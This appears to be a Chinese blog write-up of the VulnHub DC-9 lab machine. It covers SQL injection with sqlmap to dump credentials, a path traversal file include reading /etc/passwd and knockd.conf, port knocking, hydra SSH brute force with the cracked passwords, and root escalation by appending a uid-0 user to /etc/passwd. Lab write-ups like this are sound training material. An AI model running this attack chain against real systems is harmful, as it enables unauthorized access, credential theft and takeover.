VulnHub-DC-9渗透流程

VulnHub-DC-9

kali:192.168.157.131

靶机:192.168.157.153

SQL注入

试了几个sql常用语句,无回显,抓个包得知post参数名是search,sqlmap嗦一下

sqlmap -u "http://192.168.157.153/results.php" --data "search=1" --dbs --batch

成功,一级级查看下去

sqlmap -u "http://192.168.157.153/results.php" --data "search=1" -D Staff -T Users -C UserID,Password,Username --dump --batch

md5加密,解一下:transorbital1

还有一个users库

sqlmap -u "http://192.168.157.153/results.php" --data "search=1" -D users -T UserDetails -C id,username,password --dump --batch

这时就可以登录admin用户了,但显示文件不存在,猜测有文件包含漏洞

http://192.168.157.153/manage.php?file=../../../../../../../etc/passwd

测试成功,但现在还不知道如何利用

文件包含+ssh爆破

先使用hydra来ssh爆破,用户、密码本即数据库所得

把爆库得到数据如下处理

选择此区域保存

awk -F "|" '{print $3}' 1.txt > users.txt
awk -F "|" '{print $4}' 1.txt > pass.txt
# txt内有空格,要删干净
hydra -L users.txt -P pass.txt 192.168.157.153 ssh

ssh拒绝连接,具体原因是靶机使用了knockd进行防护

knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

这时文件包含漏洞就能利用上了,读取/etc/knockd.conf

http://192.168.157.153/manage.php?file=../../../../../../../etc/knockd.conf

nc 192.168.157.153 7469
nc 192.168.157.153 8475
nc 192.168.157.153 9842
或
knock 192.168.157.153 7469 8475 9842
hydra -L users.txt -P pass.txt 192.168.157.153 ssh

[22][ssh] host: 192.168.157.153   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.157.153   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.157.153   login: janitor   password: Ilovepeepee

分别登录进行信息收集

janitor用户下有密码本,取出来再次爆破

[22][ssh] host: 192.168.157.153   login: fredf   password: B4-Tru3-001

得到新的用户及密码

提权

登录发现可以执行/opt/devstuff/dist/test/test

在/opt/devstuff下有py文件

fredf@dc-9:~$ cd /opt/devstuff/
fredf@dc-9:/opt/devstuff$ ls
build  dist  __pycache__  test.py  test.spec
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

代码审计得知需要构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中即可

┌──(root㉿kali)-[~]
└─# openssl passwd -1 -salt hack 123456
$1$hack$.JxSX4bOP1WSqH0kCgs9Y.

passwd文件格式

用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd
su hack

posted @   Mar10  阅读(13)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示